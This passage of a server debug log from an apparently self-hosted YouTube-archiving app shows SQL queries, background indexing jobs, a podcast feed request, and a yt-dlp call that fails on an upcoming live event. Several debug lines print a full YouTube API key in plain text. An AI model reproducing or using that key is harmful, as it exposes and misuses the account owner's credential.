m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 17:27:53.005 [debug] QUERY OK source="tasks" db=0.1ms idle=106.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800229, 41, ~U[2026-02-10 23:27:53Z], ~U[2026-02-10 23:27:53Z]] 17:27:53.005 [info] {"args":{"id":41},"id":3800190,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":107810,"event":"job:stop","queue_time":340738,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:53.898 [info] {"args":{"id":5},"id":3800191,"meta":{},"system_time":1770766073898665816,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:53.899 [debug] QUERY OK source="sources" db=0.1ms idle=893.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 17:27:53.899 [debug] QUERY OK source="settings" db=0.0ms idle=893.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:53.899 [debug] QUERY OK source="media_profiles" db=0.1ms idle=887.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:53.899 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:53.899 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 17:27:53.899 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:53.899 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:54.008 [debug] QUERY OK source="media_items" db=0.7ms idle=108.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "at1HS1CNhe4", "pdrkOatgS_A", "fZX9-DTtDu8", "DgIv5AL8ek0", "djQQcn82_-M", "8lgb4yJ4apU", "loHSfZtIZbE", "nb0MwOXlSZ4", "o_zc6xASQpo", "pwCuzh_HxH8", "KovIZ07Dyx0", "JlQ_djYS0Dg", "1ufoYAQIhu4", "CctFxxf5ApY", "3cZZg1F4RCM", "MxIotxKBjVs", "6HPf_fvPOo4", "TlMHxNDd1X0", "M6yt1wfLvDM", "Mlh6NXtaT_o", "EQMJhxyBsBo", "u9JLKYF71jE", "Npy2CUZZUng", "c1Q3m4x1bJc", "RCFsP8-KGbA", "I1UB7k60dAU", "0p_LmbcqEV4", "8rWtLqyQm6E", "ApwhFXN8bJ8", "3NPHV-X_HvY", "cu0_ZEIT5YU", "nUl4MdDnl1s", "T8TCN0aYs2s", "hgWUxQUlvKs", "mmRqMuMx5VE", "TyKtFYzJBbg", "6vmTf1PEcF8", "GlJaxmUGwr8", "u78CMLm10fU", "vCqX0ZkoPMU", "U4f0LqqYqNU", "S1vsk6Liubo", "c-H0zyWubLc", "WzdR8f2LzwM", "FhV_flNpQOs", "826O9YGrGCg", "i0SCgfej3w0", "w3QlyvY600Q", "O2hSlsvB8nA", ...] 17:27:54.011 [debug] QUERY OK source="media_items" db=3.2ms idle=109.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 17:27:54.014 [debug] QUERY OK source="tasks" db=0.4ms idle=1.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800230, 5, ~U[2026-02-10 23:27:54Z], ~U[2026-02-10 23:27:54Z]] 17:27:54.014 [info] {"args":{"id":5},"id":3800191,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":115630,"event":"job:stop","queue_time":303544,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:58.907 [info] {"args":{"id":1},"id":3800192,"meta":{},"system_time":1770766078906986628,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:58.907 [debug] QUERY OK source="sources" db=0.1ms idle=1028.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:27:58.907 [debug] QUERY OK source="settings" db=0.1ms idle=1029.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:58.907 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:58.908 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:58.908 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 17:27:58.908 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:58.908 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:59.006 [debug] QUERY OK source="media_items" db=0.6ms idle=98.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "aXZ-NfMu60Q", "RTZlj4mmpNE", "o4e-Kt02rfc", "sRUupu5iudw", "9bLNw6Zb_SQ", "4gqNRGucp50", "FFtr2vNwDNU", "cnNucwTyy8w", "pRLn1pingDM", "xKIFCdPHeJU", "hxc8RgchpBs", "OT_iyvOy0Tk", "4Ps-JDyimJw", "2I9Qk0sB68o", "2psXxetNpoo", "u8Xyx2L4Nlg", "GODPh96F0M0", "sPU6wVz2iE8", "KeLmi62DmjU", "eNb55ZwnCRc", "wZZf6LM3wAU", "wcI-lqMwNSY", "omCWNO7Jbnw", "qklfd81ceeY", "VJqMPFNP4to", "-nTm_xZY3o4", "Px117so_Mww", "QFtCeGjKOxU", "Mo-0nz6Mlig", "iBt1TLBFTRs", "pdM3d0DRY8U", "bG68OBQ3x9Y", "MJr40qys1g0", "FV8iLYP54XQ", "rmiB2NnXgPU", "9rnjawJ_QDc", "ckiGgyCB88U", "URCnFcSypKc", "wFbjoKV876M", "hLnPciB8cGs", "433kipkEERY", "2P2G4b8V2Eg", "IJWvYvCJ0os", "iRvyRo5Fk0o", "oznSYLMrSt4", "3yO0m8X0xn4", "KyoXLbfpZfg", "GLGK0GKexds", "i_cIhvzoKEM", ...] 17:27:59.016 [debug] QUERY OK source="media_items" db=9.6ms idle=99.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:27:59.035 [debug] QUERY OK source="tasks" db=0.8ms idle=1.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800231, 1, ~U[2026-02-10 23:27:59Z], ~U[2026-02-10 23:27:59Z]] 17:27:59.035 [info] {"args":{"id":1},"id":3800192,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":128116,"event":"job:stop","queue_time":466672,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:59.417 [info] {"source":"oban","duration":10235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.078 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:28:29.428 [info] {"source":"oban","duration":10443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:59.439 [info] {"source":"oban","duration":10444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.079 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:29:29.450 [info] {"source":"oban","duration":10282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:59.461 [info] {"source":"oban","duration":10480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.080 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:30:29.306 [info] GET /sources/23662757-adf4-4a33-adf1-b92fb2169582/feed.xml 17:30:29.306 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "23662757-adf4-4a33-adf1-b92fb2169582"} Pipelines: [:maybe_basic_auth] 17:30:29.306 [debug] QUERY OK source="sources" db=0.1ms idle=1247.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["23662757-adf4-4a33-adf1-b92fb2169582"] 17:30:29.311 [debug] QUERY OK source="media_items" db=4.6ms idle=428.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [37, 2000] 17:30:29.338 [debug] QUERY OK source="source_metadata" db=0.1ms idle=460.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [37] 17:30:29.338 [debug] QUERY OK source="media_metadata" db=0.1ms idle=460.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564182] 17:30:29.339 [info] Sent 200 in 33ms 17:30:29.470 [info] {"source":"oban","duration":7838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:47.084 [info] {"args":{"id":37},"id":3800193,"meta":{},"system_time":1770766247084485652,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:30:47.085 [debug] QUERY OK source="sources" db=0.7ms idle=206.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:30:47.086 [debug] QUERY OK source="settings" db=0.9ms idle=207.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:30:47.087 [debug] QUERY OK source="media_profiles" db=0.7ms idle=208.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:30:47.088 [debug] QUERY OK source="settings" db=0.7ms idle=9.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:30:47.088 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 17:30:47.088 [debug] QUERY OK source="settings" db=0.0ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:30:47.088 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:30:47.203 [debug] QUERY OK source="media_items" db=0.6ms idle=117.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 17:30:47.204 [debug] QUERY OK source="settings" db=0.0ms idle=117.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:30:47.204 [debug] QUERY OK source="settings" db=0.0ms idle=117.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:30:47.204 [debug] Running yt-dlp command for action: get_media_attributes 17:30:47.235 [debug] QUERY OK source="settings" db=0.1ms idle=146.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:30:47.235 [debug] QUERY OK source="settings" db=0.0ms idle=146.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:30:47.235 [debug] QUERY OK source="settings" db=0.0ms idle=31.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:30:47.235 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0f/2d/0f2d5e374a99e4772fe8c3830083f5f2d2c5df0c8003d4c805cca6efd409b5e8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:30:48.497 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0f/2d/0f2d5e374a99e4772fe8c3830083f5f2d2c5df0c8003d4c805cca6efd409b5e8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 16 hours. 17:30:48.497 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 16 hours.\n", 1} 17:30:48.499 [debug] QUERY OK source="media_items" db=0.9ms idle=1293.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" 